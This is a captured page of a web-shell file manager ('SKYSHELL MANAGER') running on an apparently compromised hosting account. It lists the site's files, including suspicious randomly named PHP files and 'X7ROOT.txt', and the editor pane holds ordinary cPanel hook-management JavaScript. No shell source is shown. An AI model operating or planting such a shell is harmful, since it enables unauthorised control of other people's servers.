📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: managehooks.js
if (!window.LOCALE) { window.LOCALE = new CPANEL.Locale(); } function get_hook_by_id(id) { for (var key in hooks_by_key) { for (var a = hooks_by_key[key].length - 1; a >= 0; a--) { var action = hooks_by_key[key][a]; if (action.id === id) { return action; } } } throw "No hook: " + id; } // Do this in JS because we want to ignore display:none rows var stripe_classes = { "true": "shown-odd", "false": "shown-even" }; function stripe_tbody(tbody) { var shown_idx = 0; var row_length = tbody.rows.length; [].forEach.call(tbody.rows, function(r) { if (DOM.getStyle(r, "display") !== "none") { var old_class = stripe_classes[!(shown_idx % 2)]; var new_class = stripe_classes[ !!(shown_idx % 2)]; DOM.replaceClass(r, old_class, new_class); shown_idx++; } }); } EVENT.onDOMReady(function() { CPANEL.Y.all("table.hooks-table tbody").forEach(stripe_tbody); }); function toggle_enabled(id, clicked) { var hook = get_hook_by_id(id); var to_enable = !parseInt(hook.enabled); var table = DOM.getAncestorByTagName(clicked, "table"); var overlay = new CPANEL.ajax.Page_Progress_Overlay(null, { covers: table, status_html: to_enable ? LOCALE.maketext("Enabling hook …") : LOCALE.maketext("Disabling hook …") }); overlay.show(); var success = function suc() { hook.enabled = to_enable ? 1 : 0; var row = DOM.getAncestorByTagName(clicked, "tr"); if (to_enable) { var attr = CPANEL.Y(row).one("span.enabled-off"); attr.title = LOCALE.maketext("This hook is enabled."); CPANEL.util.set_text_content(clicked, LOCALE.maketext("Disable")); DOM.replaceClass(attr, "enabled-off", "enabled-on"); DOM.replaceClass(row, "hook-disabled", "hook-enabled"); } else { var attr = CPANEL.Y(row).one("span.enabled-on"); attr.title = LOCALE.maketext("This hook is disabled."); CPANEL.util.set_text_content(clicked, LOCALE.maketext("Enable")); DOM.replaceClass(attr, "enabled-on", "enabled-off"); DOM.replaceClass(row, "hook-enabled", "hook-disabled"); } }; CPANEL.api({ func: "edit_hook", data: { id: id, enabled: to_enable ? 1 : 0 }, catch_api_errors: true, callback: CPANEL.ajax.build_page_callback(success, { hide_on_return: overlay }) }); } var sorted_desc = {}; function reverse_sort(category, clicked) { var desc = sorted_desc[category] = !sorted_desc[category]; apply_sort(category, desc); if (desc) { DOM.replaceClass(clicked, "sorted-asc", "sorted-desc"); } else { DOM.replaceClass(clicked, "sorted-desc", "sorted-asc"); } }; // TODO: This function originally sorted every table on the page, // so it has some loop stuff that doesn't need to be around anymore. // It can be removed at some later point. function apply_sort(category, reverse) { var row_cat_stg_cache = {}; var tbodies = CPANEL.Y.all("#" + category + "-table tbody"); var cur_category; var row_sort_event = function(r) { if (DOM.hasClass(r, "event-stage")) { return row_cat_stg_cache[r.id] = cur_category + "-" + CPANEL.util.get_text_content(CPANEL.Y(r).one(".event")).replace(/:/g, "-"); } else { var id = r.id.replace(/^hook-/, ""); var js_hook = get_hook_by_id(id); return row_cat_stg_cache[r.id] = js_hook.category + "-" + js_hook.event.replace(/:/g, "-"); } }; row_sort_event.reverse = reverse; var row_sort_stage = function(r) { var stage; if (DOM.hasClass(r, "event-stage")) { stage = CPANEL.util.get_text_content(CPANEL.Y(r).one(".stage")); } else { var id = r.id.replace(/^hook-/, ""); var js_hook = get_hook_by_id(id); stage = js_hook.stage; } var cat_stg = row_cat_stg_cache[r.id]; return stage_orders[cat_stg].indexOf(stage); }; // This function is never reversed. var row_sort_is_parent = function(r) { return DOM.hasClass(r, "event-stage") ? 0 : 1; }; tbodies.forEach(function(tb) { cur_category = tb.parentNode.id.replace(/-table$/, ""); var rows = CPANEL.Y(tb).all("tr"); rows.sort_by(row_sort_event, row_sort_stage, row_sort_is_parent); rows.forEach(function(r) { tb.appendChild(r); }); stripe_tbody(tb); }); } // Args can be either an ID or (category, event, stage) function _make_key(category, event, stage) { if (!event && !stage) { var hook = get_hook_by_id(arguments[0]); category = hook.category; event = hook.event; stage = hook.stage; } return [category, event, stage].join("-").replace(/:/g, "-"); } function get_hook_and_siblings_by_id(id) { var hook = get_hook_by_id(id); return hooks_by_key[_make_key(hook.category, hook.event, hook.stage)]; } String.prototype.html_smart_break = function() { return this.replace(/(::|\-)/g, "$1­"); }; var shown = {}; var overlay_manager = new YAHOO.widget.OverlayManager(); function show_details(id, src) { var hook_data = get_hook_by_id(id); if (shown[id]) { return; } hook_data = YAHOO.lang.augmentObject({}, hook_data); hook_data.hook = hook_data.hook.html_encode(); hook_data.notes = hook_data.notes || ""; hook_data.stage_description = stage_descriptions[_make_key(hook_data.id)]; for (var attr in { rollback: 0, check: 0 }) { if (hook_data[attr]) { hook_data[attr] = hook_data[attr].html_encode(); } } for (var attr in hook_data) { if (typeof hook_data[attr] === "string") { hook_data[attr] = String(hook_data[attr]).html_smart_break(); } } var dialog = shown[id] = new CPANEL.ajax.Common_Action_Dialog(null, { close: true, modal: false, clicked_element: src, errors_in_notice_box: true, show_status: true, status_template: LOCALE.maketext("Saving …"), header_html: LOCALE.maketext("View/Edit Hook Details"), form_template: "details_template", form_template_variables: hook_data, zIndex: 1, api_calls: [{ api_function: "edit_hook", data: function() { return { id: id, notes: this.form.hook_notes.value.trim() }; }, success_function: function() { var notes = this.form.hook_notes.value.trim(); var cell = CPANEL.Y("hook-" + id).one("td.notes"); CPANEL.util.set_text_content(cell, notes); get_hook_by_id(id).notes = notes; } }] }); var buttons = dialog.cfg.getProperty("buttons"); buttons[0].text = LOCALE.maketext("Save"); buttons[1].text = LOCALE.maketext("Close"); // Render before showing so that all the classes are correctly applied // before we animate open. dialog.render(); overlay_manager.register(dialog); EVENT.on(dialog.element, "click", dialog.focus, dialog, true); DOM.addClass(dialog.element, "details-panel"); DOM.addClass(dialog.element, hook_data.enabled ? "enabled-on" : "enabled-off"); DOM.addClass(dialog.element, hook_data.blocking ? "blocking-on" : "blocking-off"); DOM.addClass(dialog.element, hook_data.escalateprivs ? "escalate-on" : "escalate-off"); DOM.addClass(dialog.element, hook_data.check ? "check-on" : "check-off"); DOM.addClass(dialog.element, hook_data.rollback ? "rollback-on" : "rollback-off"); dialog.after_hideEvent.subscribe(function() { if (dialog.cfg) { dialog.destroy(); } }); dialog.destroyEvent.subscribe(function(e) { delete shown[id]; }); dialog.animated_show(); } function delete_prompt(id, src) { var hook_data = get_hook_by_id(id); var dialog = new CPANEL.ajax.Common_Action_Dialog(null, { close: true, clicked_element: src, show_status: true, status_template: LOCALE.maketext("Deleting hook …"), header_html: LOCALE.maketext("Delete a Hook"), form_template: "delete_prompt_template", form_template_variables: { hook: hook_data.hook.html_encode(), insertion: [hook_data.category, hook_data.event, hook_data.stage].join("::").html_encode() }, api_calls: [{ api_function: "delete_hook", data: { id: id }, success_function: function() { var hooks = get_hook_and_siblings_by_id(id); var index = hooks.indexOf(hook_data); hooks.splice(index, 1); var row = DOM.get("hook-" + id); var tbody = row.parentNode; tbody.removeChild(row); stripe_tbody(tbody); var children = tbody.childNodes; var has_children = false; for (var i = 0; i < children.length; i++) { if (children[i].nodeType === 1) { has_children = true; break; } } if (!has_children) { var container = DOM.get(hook_data.category + "-container"); container.parentNode.removeChild(container); if (!CPANEL.Y.all(".category-container").length) { var hooks_area = CPANEL.Y.one("#hooks_section"); hooks_area.parentNode.removeChild(hooks_area); no_hooks_notice.animated_show(); CPANEL.animate.fade_out(CPANEL.Y.one(".legend-box")); } } } }] }); dialog.render(); DOM.addClass(dialog.element, "delete-prompt"); dialog.animated_show(); } var RIGHT_ARROW = String.fromCharCode(9654); var DOWN_ARROW = String.fromCharCode(9660); function toggle_hooks(key, clicked) { var rows = CPANEL.Y.all("tr.hook." + key + "-hook"); if (rows.length) { if (DOM.getStyle(rows[0], "display") === "none") { rows.forEach(function(r) { DOM.setStyle(r, "display", ""); }); CPANEL.util.set_text_content(clicked, DOWN_ARROW); } else { rows.forEach(function(r) { DOM.setStyle(r, "display", "none"); }); CPANEL.util.set_text_content(clicked, RIGHT_ARROW); } } stripe_tbody(DOM.getAncestorByTagName(clicked, "tbody")); } function expand_all() { // No need to hide anything since update_table_search() will do that. CPANEL.Y.all(".toggle-link").forEach(function(lk) { CPANEL.util.set_text_content(lk, DOWN_ARROW); }); update_table_search(); } function collapse_all() { CPANEL.Y.all("tr.hook").forEach(function(r) { DOM.setStyle(r, "display", "none"); }); CPANEL.Y.all(".toggle-link").forEach(function(lk) { CPANEL.util.set_text_content(lk, RIGHT_ARROW); }); } function update_table_search() { var search_box = DOM.get("table_search_box"); if (!search_box) { return; } var needle = new RegExp(search_box.value.trim().regexp_encode(), "i"); var rows = CPANEL.Y.all("#hooks_section tbody tr"); var containers_shown = CPANEL.Y.all(".category-container").length; var cur_table; var cur_table_matches; var show_or_hide_table = function() { if (cur_table) { DOM.setStyle(cur_table, "display", cur_table_matches ? "" : "none"); if (!cur_table_matches) { containers_shown--; } } }; var last_event_row, rows_length = rows.length; for (var r = 0; r < rows_length; r++) { var row = rows[r]; if (row.sectionRowIndex === 0) { show_or_hide_table(); cur_table = DOM.getAncestorByClassName(row, "category-container"); cur_table_matches = false; } var show_this_row = needle.test(CPANEL.util.get_text_content(row)); rows[r] = [row, show_this_row]; if (DOM.hasClass(row, "event-stage")) { last_event_row = rows[r]; } else if (show_this_row) { last_event_row[1] = true; CPANEL.Y(last_event_row[0]).one(".toggle-link").innerHTML = DOWN_ARROW; } if (show_this_row) { cur_table_matches = true; } } show_or_hide_table(); for (r = 0; r < rows_length; r++) { DOM.setStyle(rows[r][0], "display", (rows[r][1] ? "" : "none")); } DOM.setStyle("no_hooks_match_message", "display", containers_shown ? "none" : ""); CPANEL.Y.all("#hooks_section tbody").forEach(stripe_tbody); } EVENT.onDOMReady(update_table_search); function move_up(id, clicked) { return move_offset(id, -1, clicked); } function move_down(id, clicked) { return move_offset(id, 1, clicked); } // A generalized function, in case this is ever useful otherwise. Array.prototype.move_one = function(idx, offset) { if (this.length < 2) { return 0; } if (offset === 0) { return idx; } var new_index = (idx + offset) % this.length; if (new_index < 0) { new_index += this.length; } var item = this.splice(idx, 1)[0]; this.splice(new_index, 0, item); return new_index; }; function move_offset(id, offset, clicked) { clicked.blur(); // FF 9.0.1 persists the focus outline without this. var the_hook = get_hook_by_id(id); var hooks = get_hook_and_siblings_by_id(id); var hook_ids = hooks.map(function(h) { return h.id; }); var cur_index = hook_ids.indexOf(id); hook_ids.move_one(cur_index, offset); var success = function() { hooks.sort_by(function(h) { return hook_ids.indexOf(h.id); }); _reorder_rows_by_id(hook_ids); }; var table = DOM.getAncestorByTagName(clicked, "table"); var overlay = new CPANEL.ajax.Page_Progress_Overlay(null, { covers: table, status_html: LOCALE.maketext("Reordering hooks …") }); overlay.show(); CPANEL.api({ func: "reorder_hooks", data: { ids: hook_ids.join(",") }, catch_api_errors: true, callback: CPANEL.ajax.build_page_callback(success, { hide_on_return: overlay }) }); } function _reorder_rows_by_id(ordered_ids) { var last = DOM.get("hook-" + ordered_ids[ordered_ids.length - 1]); var tbody = last.parentNode; ordered_ids.forEach(function(id, idx) { var row = DOM.get("hook-" + id); if (row !== last) { tbody.removeChild(row); } var up_link = CPANEL.Y(row).one("a.up-link"); var down_link = CPANEL.Y(row).one("a.down-link"); if (idx === 0) { DOM.addClass(row, "first-hook"); up_link.title = LOCALE.maketext("Move this hook to the bottom."); } else { DOM.removeClass(row, "first-hook"); up_link.title = LOCALE.maketext("Move this hook up."); } if (idx === (ordered_ids.length - 1)) { DOM.addClass(row, "final-hook"); down_link.title = LOCALE.maketext("Move this hook to the top."); } else { DOM.removeClass(row, "final-hook"); down_link.title = LOCALE.maketext("Move this hook down."); } if (row !== last) { tbody.insertBefore(row, last); } }); stripe_tbody(tbody); }
Save